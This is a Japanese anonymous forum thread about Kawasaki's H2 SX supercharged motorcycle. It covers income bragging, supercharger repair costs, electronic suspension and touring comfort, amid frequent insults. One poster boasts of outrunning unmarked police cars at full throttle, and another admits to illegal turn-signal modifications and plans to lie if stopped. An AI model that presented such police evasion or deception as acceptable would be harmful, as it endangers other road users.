普通のリーマンだが、専業嫁と子供二人いるからしんどいわ
年収はジャスト1000万、余裕がない みんなすげぇなあ
まだ25歳のペーペーだから800万しかもらえねーわ >>385
年収1000万て月の手取りだとどの位まで減るの? >>387
月はバラバラだから何とも言えんけど、年間手取りは750万くらいだな
茄子はほぼ固定の夏冬各100万ずつくらいで手取りは73万程度だ 独身アラフォーだとこのバイクぐらいはあんまり迷うことなく一括できちゃう。 独身なら余裕だな。
大学生の子供にH2カーボン10台買えるくらいは金掛かってるわ
現在進行形で終わりが見えない・・・はぁ 車と違って、バイクは経費で落とせないからキツイな。 >>393
税理士によると落とせない訳ではないらしいぞ。 >>393
大型バイクを経費で落とすとなると、バイク評論家の個人事務所とかそういう職種じゃないときつそうだな 45で年収320万は俺だけだろうな
勿論交通費込みでだ
分かったら謝れよ! 車所有自慢からの年収マウント合戦とかほんとキツい。もっと上品な人が載ってるかと思ってたのに… 棚ぼたや幸運で単純に資産があるのはまぁまぁ羨ましいが、高収入は別に羨ましくないな。
それだけ色んなものを犠牲にして努力して来た結果か、阿漕な事をしていずれ報いを受けるかのどっちかだからな。 >>399
金関係なしに独身アラフォーの時点でこの先も色々きついよ H2スレもH2SXスレもお金の話でやたら荒れてる
話の内容からは高所得者のエレガントさが微塵も感じられないから、買えない奴が煽りあって荒らしてるんだろうな トレーダーだけどSE+オーナーだよ
仕事とかバイトしかしたことないけど
みんなリーマンしてて素直にすごいと思うけどなー このくらいの話で自慢とかマウントとか言い出す僻み根性のやつが居るからなぁ
なんで、努力してきた人間がネットの匿名世界でまで底辺に合わせなきゃいけないんだよ。 Kawasaki乗ってて上品なやつっているかな
歳食ったおじさんとキチガイとNinja大好きキッズなら良く見かけるんだけど カワサキのバイクとしては高い方だけど所詮300万程度だし…
それ以上の車なんて腐るほど走ってるわけで… >>406
他人からマウントされまくりの蹂躙人生キツイやろな 300万近く払わなければ得られないパワーがあるのだし、
必要論でなく魅力を感じたら、金貯めて買う価値アリだ。 最近は「マウント」って単語が流行ってるのか?
何も自由に話せないねw ラ・ヴォワチュール・ノワール買ってからマウントしてくれ
喜んでケツ差し出すからさ >>412
それ変える人間がオマエなんかの肛門に興味ある訳ねーだろ >>416
基本ロム専だし、誰かの質問等に応えてただけだからそんな事言われても困りますよ。
あ、z4納車されました。 >>418
いやほんと偶々ですよ。
自分はレスに対して返事してるだけで…
普段は読んでるだけですよ。
ここが過疎ってるから目立つだけで。 お前らSuperleggera V4は買わないのか? 金持ちの娯楽スレかよ
まあこんなバイクそうなるよな
公道でスーチャー効かせたら即効捕まるし 返事って…
つまりその前に書き込みしとるやないかいw
書き込みしてる時点で、それもスレの進行具合からするとかなり頻繁に書き込んでてROM専とか、まあ普通の人は言わないと思いますよ >>420
当人としては乗車姿勢的にコレが限界
医者はバイク自体に反対
皆は首腰は大事にな >>432
ワークスマシン並みの性能だな、こんなの売られてたのか
流石にこれ普段乗りするのは気が引ける
気軽に乗れないバイクは買わない プアマンズH2ことZX-25Rはどうだろうね?
両方とも売れると良いな >>422
長いスレッドの中で一時的に連続で書き込んだだけだろ? プアマンズねぇ
H2は箱付かないし一人乗りだからH2SXとはジャンルが違うだろ
スポーツカーと箱バン一緒にするなよ やべぇな膝擦り小僧すら出なくなったら本当に過疎ってやがるwwwwww この過疎っぷりは大排気量車の良さにあらためて気づいた奴が多いんだろ
過給しなきゃ所詮重たい1000ccなだけのバイク
サーキット行かなきゃ高速道路ですら過給して走ったら即効で免許無くなるし宝の持ち腐れ
結局極低速から図太いトルクの14Rみたいなのが楽しめるってこった 平日だし普通に仕事してんじゃないの
当方3月初旬にタイヤ新調してから1回も乗ってないわ >>434
どこ住み?
そんなに高速でビビるほど覆面おおいの? 乗り換えてから高速で4回覆面追い越して赤灯回されたけどミラーの染みにしてやってなんともないぞ
あいつらマークXでも最高速260前後だしそもそも加速遅いしすぐ追跡あきらめるしなw
140くらいで中途半端に飛ばしてる奴が捕まるんだよ
ちゃんとミラー見て赤灯確認したらフルスロットルしたらあいつら追いかけてこれないからw >>437
分からんでもないけどそれは表にしちゃダメな奴。
そもそも覆面位気付けよ、その内痛い目みるぞ。 ワイヤーロック外し忘れたまま発進しようとして転倒したヘボライダーが通ります
スライダーとパニアケースが守ってくれたので、本体はほぼ無事だったのが不幸中の幸い
しかし納車二ヶ月目にしてパニアケースを傷物にしてしまってショック… >>437
そういう夢を見たんだね
それはスゴかったねw 皆んなカスタムはどのくらいしてるの?
参考にしたいので出来れば画像もあると助かるんだけど ninja1000とかh2カーボンみたいな2本穴があるマフラーが好きなんたけどSXに採用しなかったのは理由があるの? >>447
右1本出しとしてサイレンサ容量確保した上でのパニアケースと場所の取り合いの結果
ex. NINJA1000左右出し片方二穴×2、H2カーボン…設計段階でパニア装着は考えていない 補足
現行NINJA1000は右1本出し出口も一つ ああなるほどパニア絡みなのかサンクス
たしかにツアラーでパニアつけられないのは論外だよなぁ
宿泊ツーリングも視野に入れてるならカーボンよりSX買った方が無難か 2穴にしたところでお前のイチモツは1本しか無いんだからそんなに欲張るなよ 日本では超高速ツアラーなんて宝の持ち腐れ
ストレスだけ溜まるよ サーキット行かなきゃ過給機のメリットなんて実際には活かせない
たまーに高速道路の直線で回す程度で楽しいと思える程度のライダーなら買えばいいけどね
実際には道の駅やSAで多少の自慢話めいた会話が出来るだけ
このスレの流れ見てもわかる。ほとんど金の話しかしてないだろ? >>458
峠レベルでも充分恩恵受けれるだろ
どんだけ下手糞なんよお前さん 金の話しなんてしてる?
妬んでる奴が暴れてる時位じゃない >>458
おまえそんなこと言ってるとこのスレのトップエース、膝擦り小僧にやられるぞ
悪いことは言わん、大人しく立ち去れ >>459
峠レベルで恩恵得られる奴はそれほど多くないだろ なんだこいつ
ぼくは制限速度キッチリ守ってますって主張したいならハッキリ言え >>458
渓流さんですか?
大型免許取ってから言いましょう いつも思うけどなんで妬まれてると思ってしまう人がいるんだろう?
そんなに高いわけでもないのに
全ての批判が許せないのかな? >>470
わざわざ車種スレまで来てネガ撒き散らす人のモチベーションって、どこから来ると思う? 日常の移動手段としては使ってないし、完全に趣味のバイクだから要らないってのもあながち間違ってはない
このご時世に要らないバイク買える余裕があるだけマシさ 14RHGも候補には上げたが、
重い
パニア付かない
で早々に候補から外した
ツーリングメインだとH2SXの方が実用航続距離有りそうな使用感 14Rがウナギ系ヌメヌメに比べH2SXはH2系の戦闘機っぽいカッコよさが最高 14Rの方がと言ってるけど
14RもH2SXも乗った事ないのだろうなぁ 14Rが一番ダメだったの積載性とかより燃費だと思う
ツアラーと言う割には航続距離稼げてないんだよな
H2SXよりリッターで4,5kmは燃費悪かったと思う こいつのツアラー点数は低く評価せざるを得ないなぁ
シートの出来の悪さが全てを悪くしてる バックステップ入れたら前下がりでちょうど良くなった。
身長183センチ 田舎だけど、今日こいつ見たなあ。
車のミラーに芋虫みたいな顔が映ってすぐ分かったw
それにしても顔がデカいなw 下道300キロでケツかなり痛くなるんですけど、みんなどんくらいで痛くなりますか?
ゲルザブ付けてもいてーです。
休憩頻度にもよるとは思いますが。 触媒弁当箱のせいで軒並みシート高が上がってる。日本人の身長に合わせたのがペラペラ日本仕様のローシートなんだろ
欧州仕様のハイシートならスポンジ増えるんでね? H2を普段使いっていうコンセプトがそもそも破綻してるからな
公道じゃSCは過剰装備だよ回さないと恩恵無いし SEにハイシートからSE+にハイシートへ乗り換えたけど乗り心地全然違うな。
SEは角があるというか突き上げ感ある感じだけど+は角が取れてしなやかによく動いてるわ。
SEも乗り心地悪くはないけど比較したらよく分かるくらい乗り心地違う >>494
乗ってないか、かなりの下手糞なのは分かったからどっか行けよ >>494
それってH2云々じゃなくて大型バイク全般に言えることじゃない?
大型バイクはロマン。
スーチャ付きバイクは大ロマン。 >>494
H2とスクーターの違いくらい理解しような >>464
結局のところ過給機含めセッティングの問題なんだが、
コイツの過給は常用域(回転数スロットル開度とも)でも効いてるぞ
6速ホールドで追い越し加速とかめちゃ楽だわ
H2、2020にFMCするかなとおもったけど、しなかったな。
FMCしたら、最後のSSとして、買ってもいいかなとは思っている。(・(ェ)・)y◇°°°
。。 >>500
お前みたいなやつがくるスレじゃねーよ
XSR900すれでホモっとけや 要らないとか言われたら顔真っ赤にして反論してくるのがこのスレの特徴的なところだな
スルーできないくらい痛いトコ突かれてるのかね まあSCの開発費回収するために造られたバイクだからなあ。カワサキにお布施するつもりで皆買ってるんでしょ。ふつうに考えたらこんなの不要だもの。 回さなくても出力得れるのが過給器の利点なのに
全然理解してないて底辺が勝利宣言してるw
>>501 CBR1000RRRとか、S1000RRRも悪くないなと思う。
>>504 誰かと勘違いしてるのかも知れんが、モデ様が乗ってるのは、tracer900GTターボだぞ。(● ̄(エ) ̄●)
トラクション切ってアクセルひねると、簡単に前輪が浮くのだ。(・(ェ)・)y◇°°°
。。 >>510
トラクションなんて切らなくても簡単に浮くよ
10だけど
>>511 そりは、トラクションがついてないか、故障してるんじゃね?(・(ェ)・)y◇°°°
ま、ZX−10RRも、いいかな?(● ̄(エ) ̄●)
。。
スズキ、GSX1000RRRや、ハヤブサFMCして、1000ターボを出すかと思ってたら、
出さなかったな。商売として、成り立たんからか?油冷の250CCのお得なバイクは出したけど。
。。
250万以上するバイク買うなら、来年FMCして、HVから全車PHV化するという、
プリウスちゃんが出たら、セカンドカーとして、買ってしまいそうだ。(・(ェ)・)y◇°°°
H2SEXが、FMCしたら解らんけど。(● ̄(エ) ̄●)
。。 SC機構って距離乗っても大丈夫なんかな
オーバーホールに大金必要ならツアラーとして失格 >>516
そうそれ 永くは乗れないのかなぁ と心配している。 大金出してオーバーホール繰り返せば長く乗れるんじゃないの?w >>516
乗り方に寄って違うが約5万〜10万キロでオーバーホール
現在scユニットをアッセンブリー交換でしか方法がなく35〜40万必要との事。 俺、けっこう距離乗るんでバイク屋に聞いたら
40万は最低覚悟したほうがいいかもって言われたぞ。
その40万でカブ買ったわ!
距離が伸びなくなって、カブも思った以上に楽しくてオススメ せっかく買ったオモチャ、なるべく乗らないようにするとか意味分からん。
眺めてニヤニヤしてんのか? 俺は年3万キロは乗るからなぁ。
正直、距離ガバ勢には向いてないバイクだったわ。忍1000のほうが良かったかもな
とりあえずスーチャ潰れるまでは乗るけど。 長距離弾丸ツアラーがウリなのに走行距離を気にしながら劣化防止に努めなければならないジレンマか
維持費に湯水の如く金を注ぎ込める人でなきゃ気持ち良く乗れないな その前にオーバーホールしないといけない症状とかないのかよ。 なるべく乗らないようにするって事はないけど
四輪も乗るしバイク以外にも趣味があるし
H2SXは年間3000キロくらいだな
家族持ちなら1万キロどころか5000キロも走れば多い方だろ 既にSC逝かれて修理に出したって人、この板に居たっしょ
確か修理費SCの部品代で40万って書いてた。 5万キロ40万なら許容範囲やな。
3万キロなら悩む。 5万キロ走った過走行車を40万かけて修理っつーのも、なんだかなぁ >>515 モデ様のことが気になったら、こてはんでぐぐってたもれ。(・(ェ)・)y◇°°°
カワサキ定番のオイル漏れや焼き付きが起きそうな悪寒。( ̄(エ) ̄)y◇°°°
。。 たった5万キロでSCオシャカか
運不運あるとはいえツアラーとしてはいかがなものか 先日、プラザとドリームで同じ事言われた。
「10000kは過走行」って・・・
レース車両じゃねーよwww 5万キロ40万なら許容範囲やな。
3万キロなら悩む。 コロナのせいもあるが3月からH2SX乗ってないわ
仕事で使っているGSX1250FAはほぼ週5稼働もうすぐ丸4年あと2週弱で11万キロ超えそう 仕事で使ってる?
大型バイクを仕事で使うやついるんだな 発売時に一瞬話題になっただけであっという間に消えたなこのバイク ツアラーにしては妙なポジションだから疲れるし使い勝手も悪いよね そうそう。だから別に買えないじゃなくて買わないwなんだから
もっと有意義なスレに行けばいい
わざわざ書き込んじゃうなんてw ホント欲しくて堪らない貧乏人の嫉妬ですね
高々乗り出し300ちょいが出せない貧困層 批判はすべて嫉妬ってw
ほんとかけた金額が取り柄なんだろうなぁwアイデンティティ無い人の宿命か ツアラーを期待して買うバイクじゃないな。
ケツは痛いし航続距離もいまいち、消耗品も金が掛かり気味。
高速乗って峠まで移動して、軽く攻めて気楽に大パワーを楽しめて300km以内のツーリングが向いてるバイクだな。
前のバイクは500km超のツーリングばかりだったから、こいつでそれをやると苦痛しか感じない。 >>550
>>551
どうしてここに書き込むの?
言いたくて仕方がなかった?
気になって仕方がないんだな まだ走行4000キロ未満だけどスリップサイン出てきた
まったり走ってるつもりだけどこんなもん? >>556
そんなもんですよ。
因みにもうワンランク上のタイヤ着けると2000キロ居ないで無くなります。 >>550
批判の内容が猿過ぎるから馬鹿にされてんのわからないのか? SEに飛びついた生粋のカワサキファン層を小馬鹿にするようなSE plusの即刻追加は商売としては正しいんだろうけど失うものも大きいよね 当時はH2とH2SXスレで嫉妬君がはしゃいでたなぁ
今はZH2スレ辺りでも妬みの炎燃やしてんのかね まあどうせ今後大型はプラザ専売みたいだし、自分的にはコレが最後のカワサキ車になりそうよ >>561
それじゃ販売台数伸びないからホンダみたく何処でも買えるようになるさ >>562
人口が激減していくんだから、どうあがいたって伸びないので現時点では専売で正解
これからは、電動バイクの時代だな。(● ̄(エ) ̄●)
。。 もともとカワサキは単価の低い小排気量はやらないわけだし、正規ディーラー専売のハーレーやBMWの商法をやるってことだろ
これ強力なブランド力がいるわけだし。高級な専売ディーラーもそのツールのひとつだよ。 フェンダーレスと汎用ウインカー取付で工賃24000だったわ
やっぱ量販店に頼んだ方が断然安いよな…
モデのバイクの前後ウインカーを高精度のLEDに買えたら、フラッシャーウインカーのなった。
個人的には、シーケンシャルウインカーみたいに目立つのでいいかと思うが、
車検の時にもどさんといかん。万が一、ポリに停められたら、知らなかったと言い訳するつもりだ。( ̄(エ) ̄)y◇°°°
。。 >>569
自分でやったら工賃掛からないゾ
普通に考えたら値段には理由はあるよナ つーか市井のバイク屋がもうもたんでしょ。後継者不足やらでガンガン潰れてる。 >>571
ふつーに考えても2りんかんの方がはるかに安いな >>545
最初のプラスはかっこよかったけど以降はカラーダサいんだもん…
もう少しカラバリ増やして欲しいわ 無印なんだけど、必要ならレーシングスタンド買えばいいやとセンスタ無しできたけど、
レーシングスタンドでぶっ倒す動画みて怖くなって、オプションのセンスタ付けようか迷ってる。
兄者たちはセンスタ活用してるん? >>575
納車時に外してもらいました。
スタンドは慣れですよ。 >>575
家で駐めてる時は常時センスタ使用してる SX+だけどガレージ保管の時はレーシングスタンドとJ tripのフロントスタンド使ってる
1回乗ると数ヶ月動かさないからタイヤの変形防止
トリクル充電器も繋いでる
昔のローラーなしのなら一人でかけるのはなかなか大変だったけど
今時のローラー付きのは簡単にかけれるし失敗もしようがない >>575
今までセンスタ無い車両ばかりだったけどあると凄い便利。
普段のメンテ時やロンツー中にチェーンに注油する等捗る。
本当の、モーターサイクルだな。(● ̄(エ) ̄●)
。。 そもそもデビュー時だけでその後はplus全然売れてねえから2020なんてほとんど見かけんだろ ここの住人の殆どは既に持ってるのだから、今売れてようが売れて無かろうが興味無かろうよ >>590
ほんとそれ。
持ってない人にはそれがわからんのです笑笑
FMCしたら、もしかしたら、買うかもしれない。(● ̄(エ) ̄●)
。。 >>592
持ってもない、買いもしない
お前は何でここに居るの? >>593
どうせそこかしこで相手にされなくなって流れてきた荒らしだろ
ずっと、FMCしたら、買うかもしれないとしか言っていないのだが。(● ̄(エ) ̄●)
東モ2020で、FMCかコンセプトが発表されるかもと思ったが、ZH2が発表されただけだった。
まあ、特にH2の新しい話題も無いし、コロナでバイクにも乗ってないし、
車でどらいぶすらする気しないのでや、書き込みも減るので、気にしないでくれタモれ。(・(ェ)・)y◇°°°
。。
別に書き込んでるのは、ここだけじゃないので、モデのことが気になったやつは、
コテハンでググってね。ツイッターもFBもやっている。( ̄(エ) ̄)y◇°°°
。。
こけたら、死ぬだけだな。( ̄(エ) ̄)y◇°°°
https://youtu.be/lwjvlXQgi74
。。 2020 SE+今日買ってきました。
これから大型取りに行くんですけどね。
SE+の情報が動画も含めてとても少ないのでオーナーさんに質問です。
どうしてSE+を購入したのか教えてください。
また購入してよかったと思える点と逆に悪かったなと思う点を教えてほしいです。 SE買うくらいなら+買おうと思っただけ。
良い点:SC由来のパワーや音だけ。SCの為に他のすべてを犠牲にしてると言っても過言じゃない。
悪い点:大人しく走ってると意外と車間詰められたり強引な追い越し方をされる。けどH2の顔が怖いからか1度追い越したらそいつは2度と煽って来ない。体感R1の3倍嫌な思いをしてる。ていうかR1では煽られることすらなかった。 >>599
ありがとうございます。
なるほど。私もSEを買うなら+の方が良いかなと思って購入しました。
SCの為にすべてを犠牲にしているw
パワーワードですねw
詳しくありがとうございます。
悪い点は正直意外でした。
車間詰められるようなバイクと思っていなかったので。
ただ顔が怖いから二度と煽ってこないっていうのは笑えますねw 電サスは明らかに過剰装備
無くてもなんら問題無いし、壊れたときのリスクを考えたら無いほうが良いまである SCもあきらかに過剰装備
だいたい壊れたときのこと前提なら最初からH2SXは選ばないのでは?
電サス切り替え楽だし、体調とか路面コンディションとかでセッティングの選択肢があるのはいい 電サスはメンテが面倒臭そうだったからSEにした。
一度ばらしたけど、電サスじゃなくてもフォークオイルを換えるの面倒だったなー。
実際、個人でも簡単にできるのかね? バイクに無頓着な人とかは電サス触らないんだろうね、もったいない
路面の悪いところとかボタン押すだけで楽できるのに
峠走るときはスポーツ、街中はロード、レインに切り替えてるな これ走行中は切り替えダメだよね。信号とかで停止してればいいのかな
H2、夏だと、足もえそうだな。(● ̄(エ) ̄●)
。。 路面に応じてすぐさまセッティングを切り替えられるのが電サス最大の恩恵なんじゃないの とゆーかそもそも走りながらも勝手に調整されてんだけど? >>602
乗り心地そんなに違うのですね。
私にとっては重要なポイントなので教えていただきありがとうございました。
>>606
モード切り替え気になってました。
雨じゃない時もレインを使う感じですか? つーか切り替え不要の奴らめんどくさいつーか、うぜーな
それぞれのモードで瞬間的に調整されてるのは知ってるし、モード切り替えしなくてもどこでも走れるさ
切り替え不要と思うならそのまま乗ってろよ >>606
路面が荒れてたりするときに使う、あと街中
雨じゃないのにレインモードなの最初違和感あったけど、サスの動きが柔らかくなってパワー特性の緩いモードと割りきって使ってる 電子さすの楽さ知ったら無しとか考えられねぇわ。
わざわざプリロードやten compもスマホで出来るし。ワザワザ手や工具でクリクリすんのw
それに、硬めにしておいて街のりだからkecsソフトとかでもいけるし。
使ったことないもしくは、乗り味なんざどうでも良いってやつだけだろ。300万払って使えよ 電サスったってそれほど劇的に乗り心地変わるわけじゃないし価格差取り戻すメリットがあるわけじゃないな。サーキット走行しないツアラーでは過剰装備。 他メーカーでやってた電サスが良好と判断されカワサキでも取り入れただけだ。
いつまでも旧車に拘る爺には関係ない。
つまりH2から見放されてるわけだ。 >>619
ショーワとの納入契約がかなりまとまった本数なんだよ。10RみたいなSSだけじゃあ到底捌けないから急遽導入したのがplus
初年度にSE買ってくれた人に恨まれてまで追加したのはワケがある あ、ちなみにサーキットって電子さすでそんなにタイム伸びねぇんだけどなぁw
他のバイクだときってるわ。
10rに電子サスねぇ。ロットの握りとか
w
単価あげるためでしかねぇよ。
まぁショーワってホンダなのにcbrにはおー輪図スマートecでかわいそうだな >>616
詳しくありがとうございます。
路面が荒れてる時にも疲れるんですね。
どんな風に乗り味が変わるのか今から楽しみにしておきます。 サスちょっとだけやわめのフルパワーをライダーモードに設定してるわ。 >>601
長くのるならソレはあるよな
ただこの車両はSC周りがあるから長く乗れるかという問題もあるからなんとも >>627
SCイかれたらASSY交換(40万超)はヤバいよな >>628
それな
新車で保証期間内はいいけど以降が怖い そうなるとプラザの三年保証のほうが強いよなぁ。
俺、馴染みのモータースだから二年で保証が終わっちまう うちのプラザはH2は延長保証で5年保証進めてきた
でも70000kmぐらい走ったH2がいて、それでもインペラの遊びは規格内だったらしいから7〜80000kmは持つって話だったよ インペラの1ヶ月点検時のスラスト方向のチェックは、今もうやってないんだってな。
異常値車両が無かったのでkawskが不要としたらしい。 俺年間3000キロだから7万とか8万とか20年以上先の話だ
壊れるまでに売る
値段のつくうちに売る
二輪四輪問わずの鉄則
カワサキの大型バイク、今は、プラザでしか買えないんだろ。(● ̄(エ) ̄●)
ベルしす千SEも欲しい。(・(ェ)・)
。。 >>628
ドカとか外車あるあるだし、高級車の高額部品代はつきもの。 ここ貧乏人ばかりで笑う
バイクなんて消耗品だから壊れたら買い替えりゃいいじゃん
300万程度のバイクなんだから まぁこのスレにはその300万程度のバイクも買えないのにマウント取りたがる底辺もいるんだから大目に見てくれよ
ゴールドカードもってまふ。(・(ェ)・)y◇°°°
。。 本当に余るほど金持ってる奴ってバイクにあまり乗らないからねぇ。
ちなみに、モデちゃんは、むしょくでふ。(・(ェ)・)y◇°°°
雨白は、貧乏人なので、かいやくしますた。。。。
。。 >>644
だよなぁwだって、車に比べたら
価値が少ないし、女に持てないし
見栄はれないからな
貧乏人が、金持ちの話しても仕方が無いだろ、と、逝ってみるテスト。(・(ェ)・)y◇°°°
。。 女にモテたいならバイクだけじゃなくて女ウケする車も買えばいいだろ 車新車で買える収入があれば、誰でも買えるんじゃね?(● ̄(エ) ̄●)
金が無くても、ローン組めばかえるし。。。。
一部のやつにはもてるかもしれないが、高い車やバイクに乗ってれば、持てるとというのは、
別の話じゃね? オープンとバイクではモテない
わ〜乗ってみた〜いって言ったじゃん!つったら、誘い文句に決まってるでしょwって返された… ワシが若い頃はスポーツカー乗ってれば誰でもモテた
今の若い人は大変だな
と言いつつ結局は顔だよ
硬派な川崎に、ふさわしくないな。(● ̄(エ) ̄●)
バイクは、一人では知るものだ。(・(ェ)・)y◇°°°
。。 複数台持ちからするとどうでもいい事なんだよね笑笑
先日納車されたばかりのトリプルRサーキットで潰したけど泣 つまり、ここで妬んでるやつはローンも組めない甲斐性なしなのか 電動ファンの作動温度も任意で設定出来んもんかと
渋滞で熱風浴びながらふと思う
ファンにも、ターボが必要じゃね?(● ̄(エ) ̄●)
。。 しかし覚悟はしてたけど熱すごいね。くるぶしあたりが特にやばい。 まだ売ってんのこのバイク
もう要らんやろ売れてねえし >>669
売れていないのですか?
生産台数や販売台数が少し気になるので宜しければどれくらい売れているのか教えてください。
全景自供に電話して、自分で聞け。(● ̄(エ) ̄●)
。。
まあ、たんなる一個人じゃ教えてくれんかもしれんがな。
企業の取材とか、うまく理由を付けとカント、調べてくれないだろうけどな。
。。 売れてないだろうね
ツアラーとしては日本の道路事情では使い辛いし相対的に見て高価だし メガスポみたいなもんだし
ついでにパニア付けましたみたいな
直線は速そうだけど、他のリッターSSみたいに、サーキットで走る人って要るのかな?
。。
>>672 どうせわかんないだろうから、読み方だけ教えたる。ぜんけいじきょう、な。(● ̄(エ) ̄●)
。。 >>676
ここで膝擦り小僧いたよな そいつならサーキットはしってるんじゃないか? 直線番長の後継機なんだからサーキット走行は向いてないでしょ、ただ走れるってだけだよ >>679
お前が考えてる直線番長がどれかは分からんけど、メガスポならサーキット持ち込んでる人は多いよ
低排気量乗りが妬んで言うほど直線番長では無い
ハイパワーフルパニアツアラーとして先代に当たる1400GTRだって、好んでそれでレースに出てる人もいる
(福岡の方のショップの人) サーキットはV字ラインで行けるからな
突っ込んでスロットル開ければそれなりに速い
ラインの自由がない場所やオーバルコースでは遅いけど >>680
あのー、クッソ例外持ちださないで下さいよw
1400GTRでレース出る輩が全国で何人居るんだよって話やないか?苦笑いしか出んわ >>682
H2SXでもこれぐらいサーキット持ち込んでる人がいて、レース活動してる人だってこういう風にいますよって例出すだけじゃね?
いればの話だけど サーキットに持ち込む人は居るやろね一定数は
走るだけなら自由だから >>685
サーキットにバイク持ち込む人って皆レースしてるのかな? >>686
釣りしてる人はみんな漁師?とかそんな質問してるって分かってる? 悔しくてグウって言ってる所にとどめ刺しとくね
>>679
>直線番長(←どの車種を指しているか不明)
>の後継機なんだから(←この認識が間違い)
>サーキット走行に向いてないでしょ(←走行会にさえ行ったことが無いのが丸わかり)
>ただ走れるってだけだよ(←スポーツ走行の何たるかの基本から間違ってる)
サーキット知らない人は、サーキットの話題に無理して参加しなくて良いです 質問スレにも書いたけど
リアから異音がしたことある人っている?
https://youtu.be/9TGFrm8T6Ho サーキット持って行ってもそりゃSSのようなタイムは出ないけど、スポーツ走行するのが楽しい事に車種は関係無い。
皆んなが皆んな最速のレコードタイムばかり気にして走ってるわけじゃない。
楽しみ方なんて人の数だけあるのになんで、自分の考えだけが正論て思ってるんだろ
>>692 むかし、後輪のアクスルシャフトのベアリング(ホイールの真ん中にあるベアリング)
が壊れたとき、そんな音がしてた希ガス。
。。 サーキット走るだけならどんなバイクでもそりゃ走れるだろ馬鹿じゃねえの? なんでNGされるんだろ?って思ってたけど、行下げしてんのかコイツ
NGするのは、負け犬だからだろ。
業開けするのは、モデ様の専売特許なんだぞ。(● ̄(エ) ̄●)
。。
モデ様を無色のプーのニートで引きこもりの生活保護と思って絡んだら、
大天才の大金持ちだときずいて、自分が惨めになるからなんだな。(● ̄(エ) ̄●)
なんちゃって。うふ♥。
。。
ただ、ギャグを本気で取るやつがいるのが、なんだけどな。(● ̄(エ) ̄●)
。。 お、スレが伸びてると思って開いてこのカス
>>699
が沢山書き込んでた時のガッカリ感よ
>>700 コテハンで書き込めない、お前ごときに、カス呼ばわりされたくないのだが。(● ̄(エ) ̄●)
。。
自分の気に入らない書き込みをカスとか荒らしとか呼ばわりするやつは、うんこ以下だろ。
>>703 いちいちすカスにレスしていらんので、とっとと、NGにしてくれた前、外道くん。
。。
馬鹿にいらついて、レス番間違えたじゃねーか、>>702のかすあてなんで、よろしく。
。。
血分の気に入らない書き込みをカス呼ばわりするやつが、カスだと思うのだが、
まあ、馬鹿の小人には解らんかもしれないだろうがな。( ̄(エ) ̄)y◇°°°
。。 5ちゃんでの基地外の見分け方
○連レスする
自分の書き込みもマトモに纏められず、
読んだ人がどう思うのかも判断出来ず、
手が震えて書き込みを止められない程、
興奮しています
生暖かく見守りましょう 5ちゃんでの自称気に入らない書き込み荒らし馬鹿の見分け方
気に入らない書き込みを荒らしやカスだと批判するする
自分に宛てられた書き込みじゃないにもかかわらず、気に入らない書き込みする人を批判する。
人がどう思うのかも判断出来ず、
手が震えて書き込みを止められない程、(おまえのことだろ)
興奮しています。(なんでこうふんしなならんのだ。笑ってはいるけどな)
生暖かく見守りましょう(べつに、君にみまもってほしくないわけだが)
。。
>>708 おまえだって、H2にのってないくせに。○| ̄|_=3 プッ
。。 それがただのデチューンツアラーでしたとわかった時の落胆 ツアラーモドキだろ中年
H2R :オリジナル
H2 :オリジナルの公道仕様デチューン
H2SX :オリジナルのアーキテクチャを利用して公道仕様箱付2人乗に最適化させた別物
SXで圧縮比上げてきたりフレームパイプ径大きくしたりセンタースタンド対応のフレームにしたりしているトコロは公道用バイクとして評価してる 圧縮比上げて過給圧下げるのの意味が分かってなさそう SXは最大過給圧をH2Rレベルまで求めないことで圧縮比を上げることを容易にし実用域の燃焼効率を向上
実用域でのレスポンスと低燃費(共にH2比)を達成している
もともと無印H2とはコンセプトが違うプロダクトなのにいちいち比較する阿呆が多いこと ところでこれさぁ、ガソリンのメーター減るの早くね?8L残ってて1メモリになるぐらいじゃん
最初の1メモリが3Lか。 >>717
カワサキ車は歴史的に心配性メーター(実際の残量よりも表示が少ない)だけどこのバイクは酷過ぎるよな >>718
いや普通に乗っててもよ、まぁ60km過ぎたあたりで、2メモリ減るんだぜ
さすがにやりすぎ。
高速を100キロ位で流して
90kmぐらいで2メモリってとこか。 一昔前のSSの様に燃料メーター無くエンプティ警告のみとか
全然減らないメーターが減りだしたら
勢いよく減っていくメーターよりはるかにマシだし信用出来る
まぁー普通は自分のバイクの航続距離は把握してる物だけど ガソリンは点滅したらガソスタ行けばいい
そっから50Kmは走るから
1メモリ2メモリとか気にしてもしょうがない こんなツアラーコンセプトでSCなんて宝の持ち腐れ
ニンジャ1000で充分
公道でパニア載っけててSCの魅力なんてほとんど発揮するシチュエーション無いわ
H2買えない奴が妥協して買うバイクだよ
買えないってのはサイフ問題じゃないよ、環境って意味ね
クルマで例えたらスポーツ2シーター憧れつつ、なんだかんだ理由つけてハイパワー系シティSUV選ぶみたいなもんかな H2が公道でSCの魅力を発揮するのはどんなシチュエーションでしょうか? 2018にSE買ったが、確かにNINJA1000も候補にはあった
NINJA1000を選ばなかった理由
メーター見づらかったのとセンタースタンドが無かったこと
マフラーの左右出しも気にいらないがこれは交換すればいいからまあいいとは思ったが >>727
カワサキのマーケティング能力の高さときたら… オーナーには悪いが
買うつもりで検討中だけどカラーが年々イマイチになってません?
トラブル云々よりカラバリがイマイチでいつ買うか悩む >>724
俺もそう思う。
ただ、情報が少なすぎて買ったあとに気付いたんだから仕方なく乗ってるわ
もうちょっとツアラー適正が高ければなぁ。非常に惜しいバイク >>724
スーパーチャージャーてそんな特別なもんでもないだろ
それにバイクなんてフィーリングなんだから色々考えずに気に入ったのを買う方が楽しめるぞ >>726
こんな事言う奴って、ずっも法定速度で乗ってるの?
追い抜きや追い越しすらした事ないの? 論点が違うね。
H2sxが公道でのSCの魅力が発揮できるシチュエーションが無いと言うなら、
H2はいかなる公道でのシチュエーションでSCの魅力を発揮しているのか?
これが命題だね >>733
公道ではどちらもSCなんて無価値レベル
サーキットで走らなきゃね
ならH2をなぜ選ばない?って話なんだよ
普段使いを気にしてツアラー買っちゃうのは勿体無い ちょっと論点ずれてるね。起点はこれだから
>公道でパニア載っけててSCの魅力なんてほとんど発揮するシチュエーション無いわ
H2買えない奴が妥協して買うバイクだよ
↓
なら、
H2sxが公道でのSCの魅力が発揮できるシチュエーションが無いと言うなら、
H2はいかなる公道でのシチュエーションでSCの魅力を発揮しているのか?
比較は公道での前提ね。 >>724
俺はH2のハーフカウルが気に入らなくてフルカウルのH2SXにしたぞ
フロントマスクも小鬼みたいな牙が気に入らなくてH2SXの八重歯の方が可愛い
